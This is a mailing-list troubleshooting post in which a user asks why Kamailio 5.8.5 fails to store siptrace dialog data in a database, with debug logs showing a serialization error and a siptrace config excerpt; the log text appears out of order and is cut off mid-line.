|25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| sanity [sanity.c:358]: check_via1_header(): check via1 header 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| sanity [sanity.c:519]: check_cseq_method(): check_cseq_method entered 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| sanity [sanity.c:553]: check_cseq_method(): check_cseq_method passed 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| sanity [sanity.c:563]: check_cseq_value(): check_cseq_value entered 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| sanity [sanity.c:591]: check_cseq_value(): check_cseq_value passed 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| sanity [sanity.c:601]: check_cl(): check_cl entered 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| sanity [sanity.c:626]: check_cl(): check_cl passed 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| sanity [sanity.c:643]: check_expires_value(): check_expires_value entered 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| sanity [sanity.c:679]: check_expires_value(): no expires header found 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| sanity [sanity.c:776]: check_parse_uris(): check_parse_uris entered 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| sanity [sanity.c:780]: check_parse_uris(): parsing ruri 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| sanity [sanity.c:793]: check_parse_uris(): looking up From header 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| <core> [core/parser/parse_addr_spec.c:185]: parse_to_param(): add param: tag=122cd223 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| <core> [core/parser/parse_addr_spec.c:904]: parse_addr_spec(): end of header reached, state=29 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| sanity [sanity.c:808]: check_parse_uris(): looking up To header 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| sanity [sanity.c:858]: check_parse_uris(): check_parse_uris passed 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| sanity [sanity_mod.c:252]: w_sanity_check(): sanity checks result: 1 2(3539) exec: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| *** cfgtrace:dbg_cfg_trace(): request_route=[DEFAULT_ROUTE] c=[/usr/local/bin/../etc/kamailio/conf/kamailio.cfg] l=608 a=5 n=route 2(3539) exec: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| *** cfgtrace:dbg_cfg_trace(): request_route=[NATDETECT] c=[/usr/local/bin/../etc/kamailio/conf/kamailio.cfg] l=962 a=16 n=if 2(3539) exec: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| *** cfgtrace:dbg_cfg_trace(): request_route=[NATDETECT] c=[/usr/local/bin/../etc/kamailio/conf/kamailio.cfg] l=950 a=25 n=nat_uac_test 2(3539) exec: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| *** cfgtrace:dbg_cfg_trace(): request_route=[NATDETECT] c=[/usr/local/bin/../etc/kamailio/conf/kamailio.cfg] l=962 a=2 n=return 2(3539) exec: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| *** cfgtrace:dbg_cfg_trace(): request_route=[DEFAULT_ROUTE] c=[/usr/local/bin/../etc/kamailio/conf/kamailio.cfg] l=615 a=16 n=if 2(3539) exec: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| *** cfgtrace:dbg_cfg_trace(): request_route=[DEFAULT_ROUTE] c=[/usr/local/bin/../etc/kamailio/conf/kamailio.cfg] l=623 a=16 n=if 2(3539) exec: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| *** cfgtrace:dbg_cfg_trace(): request_route=[DEFAULT_ROUTE] c=[/usr/local/bin/../etc/kamailio/conf/kamailio.cfg] l=615 a=25 n=is_method 2(3539) exec: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| *** cfgtrace:dbg_cfg_trace(): request_route=[DEFAULT_ROUTE] c=[/usr/local/bin/../etc/kamailio/conf/kamailio.cfg] l=632 a=16 n=if 2(3539) exec: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| *** cfgtrace:dbg_cfg_trace(): request_route=[DEFAULT_ROUTE] c=[/usr/local/bin/../etc/kamailio/conf/kamailio.cfg] l=623 a=25 n=is_method 2(3539) exec: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| *** cfgtrace:dbg_cfg_trace(): request_route=[DEFAULT_ROUTE] c=[/usr/local/bin/../etc/kamailio/conf/kamailio.cfg] l=628 a=16 n=if 2(3539) exec: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| *** cfgtrace:dbg_cfg_trace(): request_route=[DEFAULT_ROUTE] c=[/usr/local/bin/../etc/kamailio/conf/kamailio.cfg] l=624 a=24 n=t_precheck_trans 2(3539) exec: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| *** cfgtrace:dbg_cfg_trace(): request_route=[DEFAULT_ROUTE] c=[/usr/local/bin/../etc/kamailio/conf/kamailio.cfg] l=628 a=24 n=t_check_trans 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| tm [t_lookup.c:1578]: t_check_msg(): msg (0x7ff0858855f0) id=1/3539 global id=0/0 T start=0xffffffffffffffff 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| tm [t_lookup.c:793]: t_lookup_request(): start searching: hash=30439, isACK=0 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| tm [t_lookup.c:512]: matching_3261(): RFC3261 transaction matching failed - via branch [z9hG4bK-d87543-4f7e02083f709d16-1--d87543-] 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| tm [t_lookup.c:993]: t_lookup_request(): no transaction found 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| tm [t_lookup.c:1650]: t_check_msg(): msg (0x7ff0858855f0) id=1/3539 global id=1/3539 T end=(nil) 2(3539) exec: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| *** cfgtrace:dbg_cfg_trace(): request_route=[DEFAULT_ROUTE] c=[/usr/local/bin/../etc/kamailio/conf/kamailio.cfg] l=632 a=5 n=route 2(3539) exec: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| *** cfgtrace:dbg_cfg_trace(): request_route=[WITHINDLG] c=[/usr/local/bin/../etc/kamailio/conf/kamailio.cfg] l=757 a=16 n=if 2(3539) exec: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| *** cfgtrace:dbg_cfg_trace(): request_route=[WITHINDLG] c=[/usr/local/bin/../etc/kamailio/conf/kamailio.cfg] l=753 a=24 n=has_totag 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| siputils [checks.c:122]: has_totag(): no totag 2(3539) exec: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| *** cfgtrace:dbg_cfg_trace(): request_route=[WITHINDLG] c=[/usr/local/bin/../etc/kamailio/conf/kamailio.cfg] l=753 a=2 n=return 2(3539) exec: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| *** cfgtrace:dbg_cfg_trace(): request_route=[DEFAULT_ROUTE] c=[/usr/local/bin/../etc/kamailio/conf/kamailio.cfg] l=637 a=5 n=route 2(3539) exec: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| *** cfgtrace:dbg_cfg_trace(): request_route=[AUTH] c=[/usr/local/bin/../etc/kamailio/conf/kamailio.cfg] l=944 a=16 n=if 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| <core> [core/socket_info.c:742]: grep_sock_info(): checking if host==us: 12==12 && [172.16.4.113] == [172.16.4.113] 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| <core> [core/socket_info.c:745]: grep_sock_info(): checking if port 5460 (advertise 0) matches port 5460 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| <core> [core/forward.c:446]: check_self(): host (0:172.16.4.113:5460) == me 2(3539) exec: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| *** cfgtrace:dbg_cfg_trace(): request_route=[AUTH] c=[/usr/local/bin/../etc/kamailio/conf/kamailio.cfg] l=944 a=2 n=return 2(3539) exec: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| *** cfgtrace:dbg_cfg_trace(): request_route=[DEFAULT_ROUTE] c=[/usr/local/bin/../etc/kamailio/conf/kamailio.cfg] l=641 a=25 n=remove_hf 2(3539) exec: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| *** cfgtrace:dbg_cfg_trace(): request_route=[DEFAULT_ROUTE] c=[/usr/local/bin/../etc/kamailio/conf/kamailio.cfg] l=647 a=16 n=if 2(3539) exec: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| *** cfgtrace:dbg_cfg_trace(): request_route=[DEFAULT_ROUTE] c=[/usr/local/bin/../etc/kamailio/conf/kamailio.cfg] l=642 a=25 n=is_method 2(3539) exec: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| *** cfgtrace:dbg_cfg_trace(): request_route=[DEFAULT_ROUTE] c=[/usr/local/bin/../etc/kamailio/conf/kamailio.cfg] l=644 a=24 n=record_route 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| rr [record.c:490]: record_route(): inserted record route (r2: 1 - plen: 0) 2(3539) exec: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| *** cfgtrace:dbg_cfg_trace(): request_route=[DEFAULT_ROUTE] c=[/usr/local/bin/../etc/kamailio/conf/kamailio.cfg] l=645 a=24 n=dlg_manage 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| dialog [dlg_hash.c:907]: internal_get_dlg(): no dialog callid='NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.' found 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| dialog [dlg_hash.c:975]: dlg_search(): dialog with callid='NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.' not found 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| dialog [dlg_hash.c:478]: build_new_dlg(): new dialog on hash 1712 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| dialog [dlg_handlers.c:275]: populate_leg_info(): leg(0) route_set [], contact [sip:1003@172.16.80.3:8798], cseq [1] and bind_addr [udp:172.16.4.113:5460] 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| dialog [dlg_hash.c:1040]: link_dlg(): linking dialog [1712:1302] 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| dialog [dlg_hash.c:1049]: link_dlg(): ref dlg 0x7ff07ff56f10 with 1 -> 1 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| dialog [dlg_handlers.c:698]: get_dlg_timeout(): using default timeout 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| dialog [dlg_cb.c:227]: run_create_callbacks(): dialog=0x7ff07ff56f10 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| siptrace [siptrace.c:2128]: trace_dialog(): Spiraled dialog! 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| siptrace [siptrace.c:2150]: trace_dialog(): trace_info xavp not registered! Probably incoming E2E CANCEL! 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| dialog [dlg_profile.c:541]: set_current_dialog(): setting current dialog [1712:1302] 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| dialog [dlg_hash.c:780]: dlg_lookup_mode(): ref dlg 0x7ff07ff56f10 with 1 -> 2 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| dialog [dlg_hash.c:784]: dlg_lookup_mode(): dialog id=1302 found on entry 1712 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| dialog [dlg_handlers.c:1927]: dlg_manage(): dialog created before transaction 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| dialog [dlg_hash.c:1088]: dlg_unref_helper(): unref op on 0x7ff07ff56f10 with 1 from dlg_hash.c:1106 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| dialog [dlg_hash.c:1092]: dlg_unref_helper(): unref dlg 0x7ff07ff56f10 with 1 -> 1 2(3539) exec: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| *** cfgtrace:dbg_cfg_trace(): request_route=[DEFAULT_ROUTE] c=[/usr/local/bin/../etc/kamailio/conf/kamailio.cfg] l=658 a=16 n=if 2(3539) exec: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| *** cfgtrace:dbg_cfg_trace(): request_route=[DEFAULT_ROUTE] c=[/usr/local/bin/../etc/kamailio/conf/kamailio.cfg] l=647 a=25 n=is_method 2(3539) exec: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| *** cfgtrace:dbg_cfg_trace(): request_route=[DEFAULT_ROUTE] c=[/usr/local/bin/../etc/kamailio/conf/kamailio.cfg] l=648 a=25 n=sip_trace_mode 2(3539) BUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| siptrace [siptrace.c:1917]: trace_add_info_xavp(): URI should be in raw format here 2(3539) ERROR: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| siptrace [siptrace.c:1028]: sip_trace_helper(): failed to serialize siptrace info! Won't trace dialog! 2(3539) exec: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| *** cfgtrace:dbg_cfg_trace(): request_route=[DEFAULT_ROUTE] c=[/usr/local/bin/../etc/kamailio/conf/kamailio.cfg] l=649 a=24 n=sip_trace 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| siptrace [siptrace.c:618]: sip_trace_insert_db(): storing info - no user 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| <core> [db_query.c:72]: db_do_submit_query(): submitted query: insert into ###### here is my kamailio.cfg: ``` loadmodule "siptrace.so" modparam("siptrace", "db_url", DBURL) modparam("siptrace", "traced_user_avp", "$avp(user)") modparam("siptrace", "trace_on", 1) modparam("siptrace", "trace_init_mode", 0) ... route(AUTH); # record routing for dialog forming requests (in case they are routed) # - remove preloaded route headers remove_hf("Route"); if (is_method("INVITE|SUBSCRIBE|REFER")) { record_route(); dlg_manage(); } if (is_method("INVITE")) { sip_trace_mode("d"); sip_trace(); } ```

1 0

SIPtrace store database failed
by 17603019528＠163.com 01 Apr '25

01 Apr '25

Hello, I want to store the siptrace dialog in the database，but it gives an error. Is the configuration method incorrect? Kamailio version: ``` version: kamailio 5.8.5 (x86_64/linux) flags: USE_TCP, USE_TLS, USE_SCTP, TLS_HOOKS, USE_RAW_SOCKS, DISABLE_NAGLE, USE_MCAST, DNS_IP_HACK, SHM_MMAP, PKG_MALLOC, MEM_JOIN_FREE, Q_MALLOC, F_MALLOC, TLSF_MALLOC, DBG_SR_MEMORY, USE_FUTEX, FAST_LOCK-ADAPTIVE_WAIT, USE_DNS_CACHE, USE_DNS_FAILOVER, USE_NAPTR, USE_DST_BLOCKLIST, HAVE_RESOLV_RES, TLS_PTHREAD_MUTEX_SHARED ADAPTIVE_WAIT_LOOPS 1024, MAX_RECV_BUFFER_SIZE 262144, MAX_SEND_BUFFER_SIZE 262144, MAX_URI_SIZE 1024, BUF_SIZE 65535, DEFAULT PKG_SIZE 8MB poll method support: poll, epoll_lt, epoll_et, sigio_rt, select. id: compiled on 11:51:23 Mar 31 2025 with gcc 4.8.5 ``` here is the log: ####### 8(3550) DEBUG: <core> [core/udp_server.c:731]: udp_rcv_loop(): probing packet received from 172.16.80.3 7935 2(3539) DEBUG: <core> [core/udp_server.c:708]: udp_rcv_loop(): received on udp socket: (106/100/956) [[INVITE sip:1002@172.16.4.113:5460 SIP/2.0 0D 0A Via: SIP/2.0/UDP 172.16.80.3:8798;branch=z9hG4bK-d87543-4]] 2(3539) DEBUG: <core> [core/receive.c:190]: ksr_evrt_received(): event route core:msg-received not defined 2(3539) DEBUG: <core> [core/parser/parse_fline.c:249]: parse_first_line(): first line type 1 (request) flags 1 2(3539) DEBUG: <core> [core/parser/msg_parser.c:722]: parse_msg(): SIP Request: 2(3539) DEBUG: <core> [core/parser/msg_parser.c:724]: parse_msg(): method: <INVITE> 2(3539) DEBUG: <core> [core/parser/msg_parser.c:726]: parse_msg(): uri: <sip:1002@172.16.4.113:5460> 2(3539) DEBUG: <core> [core/parser/msg_parser.c:728]: parse_msg(): version: <SIP/2.0> 2(3539) DEBUG: <core> [core/parser/parse_hname2.c:316]: parse_sip_header_name(): parsed header name [Via] type 1 2(3539) DEBUG: <core> [core/parser/parse_via.c:1312]: parse_via_param(): Found param type 232, <branch> = <z9hG4bK-d87543-4f7e02083f709d16-1--d87543->; state=6 2(3539) DEBUG: <core> [core/parser/parse_via.c:1312]: parse_via_param(): Found param type 235, <rport> = <n/a>; state=17 2(3539) DEBUG: <core> [core/parser/parse_via.c:2663]: parse_via(): end of header reached, state=5 2(3539) DEBUG: <core> [core/parser/msg_parser.c:592]: parse_headers(): Via found, flags=2 2(3539) DEBUG: <core> [core/parser/msg_parser.c:594]: parse_headers(): this is the first via 2(3539) DEBUG: <core> [core/parser/parse_hname2.c:316]: parse_sip_header_name(): parsed header name [Max-Forwards] type 8 2(3539) DEBUG: <core> [core/parser/parse_hname2.c:316]: parse_sip_header_name(): parsed header name [Contact] type 7 2(3539) DEBUG: <core> [core/parser/parse_hname2.c:316]: parse_sip_header_name(): parsed header name [To] type 3 2(3539) DEBUG: <core> [core/parser/parse_addr_spec.c:904]: parse_addr_spec(): end of header reached, state=10 2(3539) DEBUG: <core> [core/parser/msg_parser.c:173]: get_hdr_field(): <To> [36]; uri=[sip:1002@172.16.4.113:5460] 2(3539) DEBUG: <core> [core/parser/msg_parser.c:176]: get_hdr_field(): to body (36)["1002"<sip:1002@172.16.4.113:5460> ], to tag (0)[] 2(3539) DEBUG: <core> [core/parser/parse_hname2.c:316]: parse_sip_header_name(): parsed header name [From] type 4 2(3539) DEBUG: <core> [core/parser/parse_hname2.c:316]: parse_sip_header_name(): parsed header name [Call-ID] type 6 2(3539) DEBUG: <core> [core/parser/parse_hname2.c:316]: parse_sip_header_name(): parsed header name [CSeq] type 5 2(3539) DEBUG: <core> [core/parser/msg_parser.c:154]: get_hdr_field(): cseq <CSeq>: <1> <INVITE> 2(3539) DEBUG: <core> [core/receive.c:397]: receive_msg(): --- received sip message - request - call-id: [NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.] - cseq: [1 INVITE] 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| <core> [core/receive.c:263]: ksr_evrt_pre_routing(): event route core:pre-routing not defined 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| <core> [core/receive.c:474]: receive_msg(): preparing to run routing scripts... 2(3539) exec: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| *** cfgtrace:dbg_cfg_trace(): request_route=[DEFAULT_ROUTE] c=[/usr/local/bin/../etc/kamailio/conf/kamailio.cfg] l=596 a=26 n=xlog 2(3539) INFO: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| <script>: 172.16.80.3:8798|172.16.4.113:5460|udp|INVITE 2(3539) exec: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| *** cfgtrace:dbg_cfg_trace(): request_route=[DEFAULT_ROUTE] c=[/usr/local/bin/../etc/kamailio/conf/kamailio.cfg] l=605 a=5 n=route 2(3539) exec: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| *** cfgtrace:dbg_cfg_trace(): request_route=[REQINIT] c=[/usr/local/bin/../etc/kamailio/conf/kamailio.cfg] l=707 a=67 n=set_rpl_no_connect 2(3539) exec: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| *** cfgtrace:dbg_cfg_trace(): request_route=[REQINIT] c=[/usr/local/bin/../etc/kamailio/conf/kamailio.cfg] l=710 a=55 n=force_rport 2(3539) exec: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| *** cfgtrace:dbg_cfg_trace(): request_route=[REQINIT] c=[/usr/local/bin/../etc/kamailio/conf/kamailio.cfg] l=735 a=16 n=if 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| <core> [core/parser/parse_hname2.c:316]: parse_sip_header_name(): parsed header name [Allow] type 21 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| <core> [core/parser/parse_hname2.c:316]: parse_sip_header_name(): parsed header name [Content-Type] type 11 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| <core> [core/parser/parse_hname2.c:316]: parse_sip_header_name(): parsed header name [User-Agent] type 28 2(3539) exec: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| *** cfgtrace:dbg_cfg_trace(): request_route=[REQINIT] c=[/usr/local/bin/../etc/kamailio/conf/kamailio.cfg] l=740 a=16 n=if 2(3539) exec: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| *** cfgtrace:dbg_cfg_trace(): request_route=[REQINIT] c=[/usr/local/bin/../etc/kamailio/conf/kamailio.cfg] l=735 a=25 n=mf_process_maxfwd_header 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| maxfwd [mf_funcs.c:74]: is_maxfwd_present(): value = 70 2(3539) exec: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| *** cfgtrace:dbg_cfg_trace(): request_route=[REQINIT] c=[/usr/local/bin/../etc/kamailio/conf/kamailio.cfg] l=745 a=16 n=if 2(3539) exec: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| *** cfgtrace:dbg_cfg_trace(): request_route=[REQINIT] c=[/usr/local/bin/../etc/kamailio/conf/kamailio.cfg] l=740 a=25 n=is_method 2(3539) exec: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| *** cfgtrace:dbg_cfg_trace(): request_route=[REQINIT] c=[/usr/local/bin/../etc/kamailio/conf/kamailio.cfg] l=749 a=16 n=if 2(3539) exec: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| *** cfgtrace:dbg_cfg_trace(): request_route=[REQINIT] c=[/usr/local/bin/../etc/kamailio/conf/kamailio.cfg] l=745 a=26 n=sanity_check 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| sanity [sanity.c:254]: check_ruri_sip_version(): check_ruri_sip_version entered 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| sanity [sanity.c:278]: check_ruri_sip_version(): check_ruri_sip_version passed 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| sanity [sanity.c:286]: check_ruri_scheme(): check_ruri_scheme entered 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| sanity [sanity.c:305]: check_ruri_scheme(): check_ruri_scheme passed 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| sanity [sanity.c:327]: check_required_headers(): check_required_headers entered 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| <core> [core/parser/parse_hname2.c:316]: parse_sip_header_name(): parsed header name [Content-Length] type 12 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| <core> [core/parser/msg_parser.c:187]: get_hdr_field(): content_length=417 2(3539) DEBUG: |25-04-01 17:09:51|NWM3ODYyYWFhMDllZWYzMmI0NTMxYjZmMmI0M2Y1NjY.| <core> [core/parser/msg_parser.c:91]: get_hdr_field(): found end of header 2(3539) DEBUG: |25-04-01 